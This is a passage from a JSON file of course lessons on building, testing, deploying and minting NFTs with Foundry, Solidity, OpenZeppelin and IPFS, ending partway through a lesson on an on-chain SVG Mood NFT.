"/routes/advanced-foundry/2-nfts/3-foundry-setup/+page.md", + "markdownContent": "---\ntitle: Foundry Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello, coders! Now that we have an idea about NFTs, we're all set to start coding our first-ever Non-fungible tokens. If you want to follow along, feel free to pass by the course materials where the GIT code associated with this lesson is located.\n\n## Setting Up the Environment\n\nFirst, as usual, we create a new directory for our project.\n\n```shell\nmkdir foundry-nft-f23\n```\n\nThen, let's switch to our newly created directory.\n\n```shell\ncd foundry-nft-f23\n```\n\nNext, we'll launch our text editor (I'm using the popular Visual Studio Code in this case) from the terminal.\n\n```shell\ncode foundry-nft-f23\n```\n\nBefore anything else, let's fire up the terminal, close the explorer and initiate our working directory to clean any residual files.\n\n```shell\nforge init\n```\n\nCheck if the '.env' file exists and also add 'broadcast.'\n\n## Creating Our Basic NFT\n\nThe NFT we are about to create is a token standard, similar to the ERC 20. The best part about this is that we don't need to walk through all the functions. We can save some time using our trusty package `OpenZeppelin`.\n\nLooking at the Open Zeppelin contracts, there's a token folder that hosts an ERC721.sol contract. This contract has almost all the functionality that we need for our NFT.\n\n```shell\nforge install OpenZeppelin/openzeppelin-contracts\n```\n\nBy now, already you know that SPDX license identifier, MIT, and Pragma, solidity version are mandatory elements in a solidity file. Here's how we're defining our 'basicNFT.sol' file –\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract BasicNFT {...}\n```\n\nWe'll import the OpenZeppelin contracts package, point to the ERC 721 protobuf file, and declare our basic NFT contract.\n\n```js\nimport { ERC721 } from \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n```\n\nVoila, our basic NFT ecosystem is ready for use, and its name will be dog and symbol as doggy.\n\n```shell\n constructor() ERC721(\"Dogie\", \"DOG\") {}\n```\n\nBut are we done yet? No. Now, we need to define the appearance of our NFTs and define how to obtain these tokens.\n\n## Token Standard and Counter\n\nLooking at the ERC 20 token standard, it has a balanceOf function. But in NFTs, the 'amount' of tokens doesn't matter as each of them is unique and thus can have distinct values. Here, the 'ownerOf' function is used to give each token a unique ID.\n\nThe unique NFT is denoted by a combination of the contract's address that represents the entire collection and the token's ID. So, we are going to use a 'token counter' to keep track of each token's unique ID.\n\n```shell\nuint256 private s_tokenCounter;\n```\n\nOur token counter's initial value will be zero, and it will increase as we mint new 'dog' tokens.\n\n\n\n## Minting the Puppy NFT\n\nThe minting function that we're about to define will allow us to produce our puppy tokens. This function is very crucial in the EIP721, the tokenUri. Although initially considered an optional parameter, the tokenUri, which stands for Token Uniform Resource Identifier, returns an API endpoint containing the NFT's metadata.\n\n\n\nThis metadata outlines the appearance of our NFT, including a title, a type, properties, and an image. The Uri points to the object that dictates the NFT's looks.\n\n```shell\nfunction tokenURI(uint256 tokenId) public view override returns (string memory) {}\n```\n\nHere we override the base’s tokenUri method with our custom method. Notice that whenever we want to look at what an NFT looks like, we call this function. The NFT’s look is determined by the image that this function returns.\n\n## Deploying Images for NFT\n\nOur puppy NFTs are ready to be brought to life. In our GitHub repository, we have the NFT images you can use for your first NFT. Once you select and download your desired puppy, let’s save it to the 'img' folder that we created in the project's directory.\n\n\n\nWow! It was a smooth journey, and we have successfully prepared our NFT images which are ready to be deployed using IPFS. Stay tuned for the next section where we will delve deeper into IPFS and how we can use it.\n", + "updates": [] + }, + { + "id": "026164a1-de31-43b2-8f33-7471d8d6934d", + "number": 4, + "title": "Introduction to IPFS", + "slug": "what-is-ipfs", + "folderName": "4-ipfs", + "description": "Learn about the Interplanetary File System (IPFS), a decentralized data storage system, and its use in NFT development. Understand the concept of hashing data, pinning it on IPFS nodes, and the global network of nodes, differentiating it from blockchain in terms of data storage and access.", + "duration": 8, + "videoUrl": "Ytlmm_KGfso", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/4-ipfs/+page.md", + "markdownContent": "---\ntitle: IPFS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn this comprehensive guide, I will explain how to use the Interplanetary File System (IPFS), a revolutionary distributed decentralized data structure. While it's not exactly a blockchain, its working mechanisms are somewhat similar – without the element of data mining. What IPFS does, instead, is what we call 'pinning data'.\n\nYou can get a glimpse of how IPFS works in the official [IPFS documentation](https://docs.ipfs.io/)\n\n## IPFS: A Unique Approach to Data Management\n\nThe IPFS process starts with a code, file, or any other form of data.\n\n```\nPiece of Data => Hash Function => Unique Hash\n```\n\nThe first thing IPFS does is to hash this data, yielding a unique output. Whether your data contains a massive code file or a ton of text, it gets turned into a unique hash function. The IPFS node carries out this hashing for you, with all IPFS nodes across the globe using the exact same hashing function.\n\n```\nSame Hashing Function => Consistent Unique Output\n```\n\nOnce data is hashed and a unique output obtained, then comes the 'pinning' part. You can pin the data, the code, the file on your IPFS node. The only role of the node is to host this data and store these hashes, nothing more.\n\n```\nHashed Data => Pin Data => Data Stored on Node\n```\n\n\n\n## Building a Global Network of Nodes\n\nHere's where the magic happens: your node connects to a vast network of other IPFS nodes. These nodes communicate with each other vastly lighter than any blockchain node.\n\nFor instance, when you request your network for a specific hash, the nodes engage in a conversation until one comes up with your data. This mechanism might initially seem centralized since the data resides on one node.\n\nHowever, other nodes on the network can also pin your data if they wish, thus creating a copy of your data on their node as well.\n\n```\nNetwork Nodes => Share and Pin Each Other Data => Decentralized Data\n```\n\nWith the ability to replicate any data in a decentralized manner, IPFS nodes offer straightforward functionality with a simple setup. It's also essential to note the drastic difference between blockchain and IPFS in this respect – IPFS nodes cannot execute smart contracts. In simple terms, they only offer decentralized storage.\n\nThe issue arises when ensuring decentralization – other nodes must pin our data. If we are the only node that has a particular hash, and our node goes down, that data is lost, and the network won't be able to access it. We will discuss future strategies for ensuring other people pin your data in subsequent sections, but for now, let's proceed with deploying our application on IPFS.\n\n## Deploying Your Application on IPFS\n\nNow that we know about IPFS, the next step is to deploy our application to IPFS, making it accessible by anyone, anywhere, provided our node remains online.\n\n\n\nYou can install and work with IPFS using the IPFS Desktop application or command line, as per your preference. If you're using Brave or Firefox, the IPFS router is built-in. For browsers like Chrome, you might have to add [IPFS Companion](https://chrome.google.com/webstore/detail/ipfs-companion/nibjojkomfdiaoajekhjakgkdhaomnch) for seamless functionality.\n\nOnce you have installed IPFS, you can import your file (for example, `next config JS`) and extract the CID or the hash. With IPFS Companion installed and enabled, or via the Brave local IPFS node, you can now access this file directly using your CID, essentially turning it into a URL.\n\nIf you encounter trouble accessing these files, you can use the IPFS gateway as a workaround route for requesting the data through another server, which then gets the data through IPFS. Simply append your hash to `https://gateway.ipfs.io/ipfs/`. This way, there will be no need for the IPFS Companion.\n\nTo wrap it up, IPFS introduces a new level of data decentralization and replication to build a global network of nodes that can store and distribute data economically and efficiently. Future trends suggest this could become an integral part of the Internet's infrastructure. With this guide, you are now ready to contribute to this digital revolution.\n", + "updates": [] + }, + { + "id": "ad03afd8-a5f1-463a-89f4-f7c14ef33d5d", + "number": 5, + "title": "Upload and use IPFS data (token URI)", + "slug": "upload-data-on-IPFS", + "folderName": "5-using-ipfs", + "description": "This section explores using IPFS for hosting NFT images and metadata, focusing on OpenSea for practical demonstration. It also covers the customization of NFT appearances by allowing users to choose their Token URI, thus determining the look of their tokens.", + "duration": 7, + "videoUrl": "pX9UB0hqQPk", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/5-using-ipfs/+page.md", + "markdownContent": "---\ntitle: Using IPFS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello and welcome back to our discussion on an exciting topic, IPFS, and the Token Uri in the realm of Non-Fungible Tokens (NFTs). After immersing ourselves in understanding these novel technology elements, let's put our knowledge into practice by exploring a marketplace for selling NFTs, such as OpenSea.\n\n## Exploring NFTs on OpenSea\n\nOpenSea, a marketplace nurturing a vibrant ecosystem for buying and selling NFTs, provides countless opportunities for examination. Here's how we do it:\n\n1. Scroll down the OpenSea page and select any NFT you fancy. For this discussion, let's take a look at the Pudgy Penguins.\n2. Click on the chosen NFT and navigate to its on-chain details.\n3. Click through to the source code, scroll down to 'read contracts' and connect to web three.\n4. Scroll further down to find the 'Token Uri' and get the ID for our chosen NFT.\n\nSubsequently, we can see the metadata object that features 'attributes', 'description', and the 'name' piece. If we input this name piece into the address bar, we visualize the image of the NFT.\n\n\n\n## Creating Your Own NFT Image\n\nWith your own image ready, the next step is uploading it using your IPFS node in your browser. Get the hash and use that as the image Uri for your own NFT.During the upload process to IPFS, both the image and the file (which contains the Uri of the image) must be uploaded. But remember, we're taking the path of least resistance here. We'll go on and use the Foundry IPFS Uri.\n\n## Diving Deeper into Our NFT\n\nBack to our NFT, instead of pasting the Token Uri for all our dogs to look the same, we're taking a more enticing route. We will allow people to customize their own Token Uri, hence choosing how their tokens will look.\n\nLet's code this idea:\n\n```js\n function mintNft(string memory tokenUri) public {\n s_tokenIdToUri[s_tokenCounter] = tokenUri;\n _safeMint(msg.sender, s_tokenCounter);\n s_tokenCounter = s_tokenCounter + 1;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n if (!_exists(tokenId)) {\n revert BasicNft__TokenUriNotFound();\n }\n return s_tokenIdToUri[tokenId];\n }\n```\n\nAnd that's it! We've created a simple yet advanced NFT able to have its look customized by anyone.\n\nHappy Ethereum Contracting!\n\nRemember,\n\n\n", + "updates": [] + }, + { + "id": "b1fe8820-973d-4701-b6b2-6f466d824c6e", + "number": 6, + "title": "Writing the deployment script", + "slug": "nfts-deployment-script", + "folderName": "6-deploy-script", + "description": "Learn how to write a deployment script for NFTs. This includes using Forge script for deploying Basic NFTs and understanding the contract deployment process, highlighting the importance of testing and compiling before deployment.", + "duration": 2, + "videoUrl": "3TJ_T24f_18", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/6-deploy-script/+page.md", + "markdownContent": "---\ntitle: Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Coding Your Basic NFT\n\nReady your keyboards, it's time to get coding! We already looked on the the basic code for the NFT on previous lessons and today we will be writing the code for the deploy script.\n\n## Basic Deployment\n\nThis function will serve a dual purpose; we're going to use it for our testing as well. What should it return? The answer is pretty straightforward - it should return our basic NFT.\n\nTherefore, this is how the Deployment contract will look like:\n\n```js\ncontract DeployBasicNft is Script {\n uint256 public DEFAULT_ANVIL_PRIVATE_KEY =\n 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;\n uint256 public deployerKey;\n\n function run() external returns (BasicNft) {\n if (block.chainid == 31337) {\n deployerKey = DEFAULT_ANVIL_PRIVATE_KEY;\n } else {\n deployerKey = vm.envUint(\"PRIVATE_KEY\");\n }\n vm.startBroadcast(deployerKey);\n BasicNft basicNft = new BasicNft();\n vm.stopBroadcast();\n return basicNft;\n }\n}\n\n```\n\nThis chunk of code initiates a broadcast to the EVM (Ethereum Virtual Machine), creates a new basic NFT and stops the broadcast, then returns our freshly created NFT.\n\nAlso don't forget we need to import the basic libraries we always use in our contracts, and of course the solidity version and the license.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BasicNft} from \"../src/BasicNft.sol\";\nimport {console} from \"forge-std/console.sol\";\n```\n\nAfter putting the finishing touches on your code, it’s time to compile.\n\n## Time to Compile\n\nTo make sure everything is peachy, run a quick `forge compile`.\n\n```shell\nforge compile\n\n```\n\nNow watch as your console lights up with the wonderful message: \"COMPILING SUCCESSFULLY!\"\n\n\n\nAnd there you have it! You've just created and deployed a basic NFT. This experience should give you a taste of the powerful capabilities of Solidity for building and working with NFTs.\n\nStay tuned for more adventures in the world of decentralized applications. And remember, never stop exploring!\n\n\n\nHappy Coding!\n", + "updates": [] + }, + { + "id": "e0582e78-a7f4-4b30-8f0d-76e8a807377c", + "number": 7, + "title": "Test the NFTs smart contract", + "slug": "basic-nft-tests", + "folderName": "7-basic-nft-tests", + "description": "Focuses on testing the basic NFT contract using Solidity. It includes detailed steps for conducting tests like confirming the NFT name and testing the mint function, emphasizing the importance of testing for successful smart contract deployment.", + "duration": 11, + "videoUrl": "v-_H8_wK2lQ", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/7-basic-nft-tests/+page.md", + "markdownContent": "---\ntitle: Basic NFT Tests\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWhen working with NFTs in Solidity, it's crucial to conduct tests to ensure that the contract functions appropriately. As you can imagine, programming blockchain-based contracts can be quite challenging because, unlike other pieces of software, deploying a faulty smart contract on the blockchain can lead to disastrous consequences (and yes, that includes financial loss!).\n\nWith that in mind, let's delve into testing coding some tests for the basic NFT contract we created in the previous lesson.\n\n\n\n## Conducting BasicNFT tests\n\nOnce the setup is complete, it's time to jump into tests. Writing an array of tests serves to validate the functionality of our contract, but for the purpose of this blog, let's focus on testing the Name function.\n\nTo confirm that the Name of your NFT is correct, declare a function `testNameIsCorrect` and specify it as public view. The expected output should be set as a string memory.\n\n```js\nfunction testNameIsCorrect() public view {\n string memory expectedName = \"Dogie\";\n string memory actualName = basicNft.name();\n // This will give us an error!\n assert(expectedName == actualName);\n}\n```\n## An Issue With Comparing Strings\n\nHowever, as we proceed with writing the tests, an issue becomes apparent when trying to assert that the expected name equals the actual name. The main problem lies in Solidity's inability to compare array types which includes strings.\n\nWhile it's possible to manually loop through each item in an array for comparison, it's impractical and can lead to verbose code. A more streamlined approach would be to hash the arrays using `abi.encodePacked` and compare the resulting fixed-sized, unique string identifiers.\n\n\nHere's how it's achieved:\n\n```javascript\nassert(keccak256(abi.encodePacked(expectedName)) == \n keccak256(abi.encodePacked(actualName)));\n```\n\nThis code returns a pass if the name functions as intended.\n\n\n\n\n## A Second Round of Testing\n\nSuppose we wish to further test if the `mint` function operates correctly and have a balance. In this case, let's declare a function `testCanMintAndHaveABalance`. In addition, assign an address called 'user', create one with the parent function and then mint an NFT.\n\nNow, test if the balance is correct and validate that the tokenUri is the same as the pug.\n\n```javascript\nfunction testCanMintAndHaveABalance() public {\n vm.prank(USER);\n basicNft.mintNft(PUG_URI);\n assert(basicNft.balanceOf(USER) == 1);\n }\n```\n\nIf everything is set correctly, it's time for execution! Use `forgeTest` to run all tests.\n\n\n\n## Wrapping Up\n\nIn conclusion, the process of testing contracts in Solidity is an essential part of developing a flawless contract that works exactly as intended. Despite some of its quirks (like the lack of native support for string comparison), you can leverage algorithmic techniques to work around them, as we have shown in this blog post translation of a transcript. Practice issuing new contracts and conducting tests - the more you practice, the easier it becomes. Happy coding, and to more successful test results!\n\n", + "updates": [] + }, + { + "id": "bc86137e-2ab9-4a1f-aecd-60da82da36b3", + "number": 8, + "title": "Interact with a smart contract", + "slug": "interact-with-solidity-smart-contracts", + "folderName": "8-basic-interactions", + "description": "Teaches how to interact with Solidity smart contracts, particularly for minting NFTs. It includes setting up the necessary environment and scripts, and deploying NFTs using tools like Foundry and IPFS.", + "duration": 3, + "videoUrl": "kSiLlUxdEzs", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/8-basic-interactions/+page.md", + "markdownContent": "---\ntitle: Basic NFT Interactions\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Introduction\n\nEveryone who is interested in the fascinating world of NFTs (Non-fungible tokens), most likely knows the basic line - how to mint a token. However, have you ever thought about creating a dedicated tool to mint your token programmatically, instead of using a traditional casting procedure? Well, you're in luck! We'll be discussing exactly how to achieve this with Solidity in this post. Buckle up!\n\n## The Code\n\nTypically, we'd define a Solidity contract with all the necessary imports. For this instance, we're going to name ours `MintBasicNft`. This is going to be on `Interactions.s.sol`, let's get started:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\ncontract MintBasicNft is Script {}\n```\n\nRight out of the gate, it's safe to say you already know the drill—defining a simple contract! We'll increase the complexity over the course of this tutorial.\n\n### Importing Necessary Libraries\n\nNext, we've got to bring in our scripts from Forge’s Script.sol. This is quite straightforward:\n\n```js\nimport {Script, console} from \"forge-std/Script.sol\";\n```\n\nNow, we'll start to shape up our contract. Next, we need to create an external function `run()` which is going to mint our NFT.\n\n```js\nfunction run() external {}\n```\n\nTo ensure that we're always working with the most recently deployed NFT, we'll need a fantastic tool from `foundry-devops-package`. It's time to install this package. Copy the URL and run it in your terminal:\n\n```shell\nforge install ChainAccelOrg/foundry-devops --no-commit\n```\n\nClose the terminal and write a code line to get the recently deployed address:\n\n```js\n\n\naddress mostRecentlyDeployed = \n DevOpsTools.get_most_recent_deployment(\"BasicNFT\", block.chainid);\n```\n\nHere, we have a function called `get_most_recent_deployment` from `DevOpsTools` that fetches the most recent deployment.\n\nFor this to work, remember to bring your DevOps tools into the contract:\n\n```js\nimport {DevOpsTools} from \"lib/foundry-devops/src/DevOpsTools.sol\";\n\n```\n\n### The Mint Function\n\nHere comes the grand part, writing the function that mints your NFT on the contract. For this, pass in the `mostRecentlyDeployed`:\n\n```js\nmintNFTOnContract(mostRecentlyDeployed);\n```\n\nAnd the function `mintNFTOnContract` takes an address, starts broadcasting, mints an NFT, and stops broadcasting:\n\n```js\nfunction mintNftOnContract(address contractAdress) public {\n vm.startBroadcast();\n BasicNft(basicNftAddress).mintNft(PUG);\n vm.stopBroadcast();\n}\n```\n\nAt the end of the function, you can pass your pug string (it’s unique, I promise). Don’t forget to import your basic NFT:\n\n```js\nimport {BasicNft} from \"../src/BasicNft.sol\";\n```\n\n## Conclusion\n\nCongratulations! You now have an effective way to programmatically deploy and mint your NFTs!\n\n\n\nWith this custom-made tool, you are no more confined to the traditional casting process. This tool gives you the flexibility to programmatically mint your NFTs with ease, anytime you want.\n\nWith this added skill in your NFT arsenal, you're a step closer to mastering the fascinating world of non-fungible tokens.\n\n**Happy Coding!**\n\n", + "updates": [] + }, + { + "id": "1b847650-6cc7-42e9-9d47-54d8f5cd09a8", + "number": 9, + "title": "Deploy your NFTs on the testnet", + "slug": "deploy-nfts-on-testnet", + "folderName": "9-testnet-demo", + "description": "Guides on deploying NFTs to a testnet and importing them into MetaMask. It covers the use of Anvil for deployment, extracting contract data, and using MetaMask to interact with the deployed NFTs.", + "duration": 7, + "videoUrl": "xoHAw86NbQw", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/9-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Basic NFT Testnet Demo\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn our previous lesson, we've covered the concept and advantages of NFTs (Non-fungible tokens) along with how to build and test them. But to appreciate the full potential of our NFT, we need to see it in a real-world setting – our MetaMask wallet. This post walks you through how to deploy an NFT to a testnet, as well as how to import it to your MetaMask wallet. Let's get started!\n\n## Deploying NFT to a Testnet\n\nWhile testing is a vital part of NFT creation, deploying it in a real use case can bring more clarity to your understanding. Luckily, there are several ways to deploy your NFT. You could consider using Anvil, your own Anvil server, or a testnet. If you're not keen on waiting for the testnet or spending the gas, I'd recommend deploying it to Anvil.\n\nThe processes detailed below are optional, but feel free to follow along if you'd like.\n\n\n### Using a Makefile for Quick Deployment\n\nRather than typing out long scripts, we'll use a makefile here. The associated Git repo contains the makefile we're using, allowing you to simply copy and paste rather than rewriting everything.\n\nIn the makefile, we've captured most of the topics we've discussed so far, including our deploy script, which we'll use to deploy our basic NFT.\n\n\n\n\nHere is what the deploy script looks like:\n\n```makefile\ndeploy:\n\t@forge script script/DeployBasicNft.s.sol:DeployBasicNft $(NETWORK_ARGS)\n```\n\nIt's important here to ensure you have included your environmental variables. \n\nIt's noteworthy that you should write some tests before deploying on a testnet, although for the sake of showing you what the NFT looks like, we'll skip this step in this instance.\n\n## Deploying Our Basic NFT\n\nWe're now going to deploy our basic NFT to the contract address. After successful deployment, there will be a short wait for its verification.\n\n\n### Extracting Contract Info and Minting\n\nWith our NFT deployed, we'll now move to extract our contract data. In the broadcast folder, the latest run contains the created basic NFT information. We'll execute the following command to initiate the Mint function:\n\n```makefile\nmint:\n @forge script script/Interactions.s.sol:Interactions $(NETWORK_ARGS) \n```\n\nThe DevOps tool works by grabbing the most recent contract from this folder, thus automating the process.\n\n## Importing NFT into MetaMask\n\nWhile the NFT is being minted, let's transition to MetaMask:\n\n1. Copy the contract address under which the NFT was deployed.\n2. From MetaMask, go to NFTs and switch to Sepolia.\n3. Click on Import NFTs and paste the copied address.\n4. Since we're the first to create this NFT, the token ID will be zero. Input this and hit 'Add'.\n\nAfter a short wait, your NFT will be viewable right from your MetaMask wallet. It's intelligent enough to extract the token URI, allowing you to view the image, contract address, or send it elsewhere.\n\nCongratulations! You've successfully deployed and imported an NFT into MetaMask. You can now interact with it just as you would in a marketplace like OpenSea. Through this process, you've learned how to make an NFT come to life, from being just a script to being part of the real-world, bridging the gap between test environments and real applications.\n\nStay tuned for our next post on advanced NFT creation steps, such as a complete DeFi app development and more.\n\n", + "updates": [] + }, + { + "id": "7831d519-1110-4317-8b7a-3298f63ebf62", + "number": 10, + "title": "IPFS and Pinata vs HTTP vs on chain SVGs", + "slug": "pin-nfts-images-using-pinata", + "folderName": "10-ipfs-https", + "description": "Discusses the pros and cons of using IPFS, HTTP, and on-chain SVGs for storing NFT data. It covers the pitfalls of each method and introduces services like Piñata Cloud for securing digital assets on IPFS.", + "duration": 4, + "videoUrl": "s0jR8R2Jy-I", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/10-ipfs-https/+page.md", + "markdownContent": "---\ntitle: The issue with IPFS vs HTTPS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n\nIn the world of **Non-Fungible Tokens (NFTs)**, several questions often arise about where and how these digital assets should be stored. In this blog post, we'll discuss two main topics: the potential issues related to storing NFTs on IPFS and how to use *abi encode packed* for creating on-chain SVGs.\n\n## Part 1: What's The Issue with IPFS?\n\nFirst things first: Let's discuss the **InterPlanetary File System (IPFS**), a popular decentralized storage system for NFTs.\n\nYou might wonder - Is it a good idea to host my precious NFTs on IPFS? Isn't it better than the commonly used Https and websites for storing digital assets?\n\nWell, let's paint a clear picture for you.\n\n### What's Wrong with Using Websites for Storing NFTs?\n\nMany NFT creators use websites—with https—to store their tokens. However, should these websites go offline or worse, collapse, the NFT owner finds themselves with a broken JPEG link and a, dare we say, worthless NFT!\n\nDespite the apparent risk, this storage option remains popular because it's significantly cheaper and comfortable to spin up an IPFS node and pin your data to the node.\n\n\n### Why IPFS Might Not Be The Best Option Either\n\nCompared to storing digital assets on a website, IPFS is undoubtedly a better choice. It is a decentralized storage platform, meaning that it allows users to maintain control over their data. Furthermore, on IPFS, anyone can pin the NFT data and keep the image accessible permanently.\n\nHowever, IPFS has its pitfall. If a creator's IPFS node goes offline (like turning off their PC), it could result in an inaccessible file. That means anyone trying to access that NFT on platforms like MetaMask or OpenSea would stumble upon a broken JPEG image, not the intended item.\n\nThe fact that others can pin the NFT data offsets this inconvenience to an extent. But, how many users actually pin data and how reliable can that be?\n\nThis is where services like **Piñata Cloud** come into the picture. They keep your metadata for your stored NFTs up even if your IPFS node goes offline. Protocols like these provide an additional security blanket for your digital assets.\n\n\n## Part 2: Putting On-chain SVGs to Work\n\nWhile IPFS remains a viable option—despite its potential fallibility—enterprising NFT creators and users have found another way to store NFTs—on-chain SVGs.\n\n\"*So, what exactly is an SVG.*\", you ask? Let's delve deeper.\n\n### An Introduction to SVGs\n\nScalable Vector Graphics (SVGs) are a way to represent images and graphics. When stored on the blockchain, these images become 100% immutable and decentralized.\n\nCreators can encode their NFTs as SVG types; thus, the entire image is stored directly on the blockchain. Even though this method may be a little more expensive than IPFS, it's a surefire way to ensure the longevity and accessibility of your precious NFTs.\n\n\n### SVG NFT\n\n\n\n\nAs illustrious as this looks, the actual visual output of SVGs can sometimes be unsightly. But remember, beauty lies in the eye of the beholder. The real allure of on-chain SVGs is the knowledge that your NFT remains accessible, immutable, and in its truest form, no matter what.\n\n\n\n\nBy understanding how NFT storage works, you can ensure your digital assets' safety and longevity. The choice—whether IPFS, on-chain SVGs, or a comprehensive mix of both—is yours to make. Happy creating!\n\n", + "updates": [] + }, + { + "id": "a6c7f1ac-aea5-42f5-860b-c1a025608de9", + "number": 11, + "title": "What is an SVG?", + "slug": "what-is-svg", + "folderName": "11-what-is-svg", + "description": "Explains Scalable Vector Graphics (SVGs), their advantages, and how to create them. The lesson includes coding snippets for SVG creation and highlights their use in NFTs for on-chain storage.", + "duration": 8, + "videoUrl": "m0nNd4o_Fy0", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/11-what-is-svg/+page.md", + "markdownContent": "---\ntitle: What is an SVG?\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to our exploration of Scalable Vector Graphics, lovingly known as SVGs. Today, we're moving beyond traditional image files to delve into the perks of SVGs, their functionality and how to create your own. So, let's get right into it!\n\n## What is an SVG?\n\nTo understand what an SVG is, we'll dive right into a helpful tutorial from our friends at [W3Schools](https://www.w3schools.com/graphics/svg_intro.asp). SVG stands for Scalable Vector Graphics. In simpler terms, SVG is a way to define images in a two-dimensional space using XML coded tags with specific parameters.\n\nSVGs are awesome because they maintain their quality, no matter what size you make them. If you stretch a traditional image file like a .jpg or .png, they become pixelated and lose clarity. SVGs don’t suffer from this issue because they’re scalable. They’re defined within an exact parameter, thus maintaining their pristine quality regardless of size.\n\n\n\n## Creating Your Own SVG\n\nNow, let's talk about how you can create your own SVG. If you're following the W3Schools tutorial, you'll notice that you can modify SVG coding directly from the page. For instance, you can alternate the fill from the default color to blue and the outline (stroke) to black with the appropriate SVG parameters.\n\nYou can follow this exercise in your code editors as well. And if you are using Visual Studio Code, you can even preview your SVGs in real time.\n\n### SVG Coding Snippet\n\nHere is a typical SVG coding that you can try:\n\n```js\n\n \n

My first SVG

\n \n \n \n \n\n```\n\nFor the live preview of your SVG, you can use various SVG viewers and SVG previewers available in the marketplace. Moreover, if you want to convert your SVG into a binary representation that can be passed via URL, you can use the `base64` command.\n\n**Note**: The base64 command might not be available on all machines, fret not, you can simply follow along and copy the steps as mentioned.(base64 --help will show if you have this command.)\n\n\n\nBase 64 basically encodes your SVG data into a form that can be used in data URIs for embedding your SVGs into browsers. So let’s go ahead and pass an encoded SVG and see it rendered in the browser.\n\nAdd this small prefix `data:image/svg+xml;base64,` before the encoded SVG and voilà! Your SVG should read \"Hi, your browser decoded this” in the browser URL preview.\n\n## Utilising SVGs in NFT\n\nEmbedding SVGs becomes incredibly useful when dealing with Non-Fungible Token (NFT) assets. In the realm of NFTs, SVGs can be stored on-chain as URIs. This paves the way for dynamic and interactive NFTs.\n\nWith the same base64 encoding, you can pass entire image data right in the URL and this will be your token URI. Therefore, instead of using an IPFS hash for our Token Uri, you can fully rely on chain using this SVG..\n\nThe major advantage of this approach is that the SVG, which is now essentially code on-chain, can be updated and interacted with. This implies endless possibilities for your NFT. It can be designed to change, evolve, grow - limited only by your imagination!\n\n\n\nThere you have it! We've just scratched the surface of SVGs and their vast potential within the realm of NFTs. This is an especially desirable competency for those looking to raise their game as smart contract developers.\n\nIn future posts, we will further explore the concept of ABIs and code packing in the context of SVGs and Smart Contracts. Great progress so far, and keep on learning!\n", + "updates": [] + }, + { + "id": "15fe9028-8fd6-4e80-9cb2-fb3c44a17656", + "number": 12, + "title": "Create a dynamic NFTs collection", + "slug": "create-dynamic-nft", + "folderName": "12-svg-nft", + "description": "Focuses on creating dynamic SVG NFTs, particularly a mood-changing NFT that alternates its appearance. It includes detailed instructions for setting up the NFT project, minting the NFTs, and defining their appearance.", + "duration": 5, + "videoUrl": "Xwt7MXrYIg4", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/12-svg-nft/+page.md", + "markdownContent": "---\ntitle: SVG NFT Intro\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nCreating SVG NFTs is a fascinating endeavor, especially if these NFTs can change their mood! In this practical guide, we'll build our dynamic SVG NFT—an innovative NFT whose image changes and whose data is 100% stored on-chain.\n\n## What Are We Building?\n\nOur ultimate task is to create a mood-changing NFT—bam, a Mood NFT! That's right, we're developing an NFT that can switch from happy to sad and vice versa.\n\nOur Mood NFT is housed with an intelligent function we call \"Flip Mood.\" This function alternates the mood of our NFT—if its mood is happy, it turns sad, and vice versa. As per the mood, our NFT will either display a happy or sad SVG that we will store on-chain.\n\n## Setting the Mood\n\nTime to roll up our sleeves and kick-off our Mood NFT project. Open up your SRC, create a new file—let's name it `MoodNft.sol`. Remember, before we start writing our contract, we need to define the SPDX license Identifier (MIT) and establish which version of Solidity we're working with (0.8.18 in our case). Now, let's begin to define our `MoodNft` contract.\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract MoodNft {}\n```\n\nOur NFT contract will contain several vital elements from the basic NFT, so let’s take some of that and import it into our new folder. Next, our NFT will be defined as an ERC721 token. Sustaining the moods (happy and sad SVGs) of our NFT is critical, so we'll pass these mood SVGs in our constructor. You can make your personalized Sad SVG. For this tutorial, we'll use this happy SVG.\n\n```js\nconstructor(\n string memory sadSvgUri,\n string memory happySvgUri\n ) ERC721(\"Mood NFT\", \"MN\") {}\n\n```\n\n## Mood Tracking: Creat a Token Counter\n\nA token counter is an essential part of our Mood NFT. Hence, we need to create a private token counter `uint256 private s_tokenCounter`. We'll initiate the token counter in the constructor to zero.\n\n```js\n uint256 private s_tokenCounter;\n\nconstructor(\n string memory sadSvgUri,\n string memory happySvgUri\n ) ERC721(\"Mood NFT\", \"MN\") {\n s_tokenCounter = 0;\n }\n\n```\n\nLet's save these SVGs as `string private s_sadSvgUri` and `string private s_happySvgUri`, and pass them:\n\n```js\nstring private s_sadSvgUri;\nstring private s_happySvgUri;\n```\n\n## Minting the Mood NFT\n\nOur mood NFT is now ready for anybody to mint! We'll define a public function `mintNFT()` that enables anyone to mint their Mood NFT. This function will contain a `safemint` statement that provides the `msg.sender` their Token ID. Also, remember to increment the token counter so that every new token gets a unique ID.\n\n```js\n function mintNft() public {\n 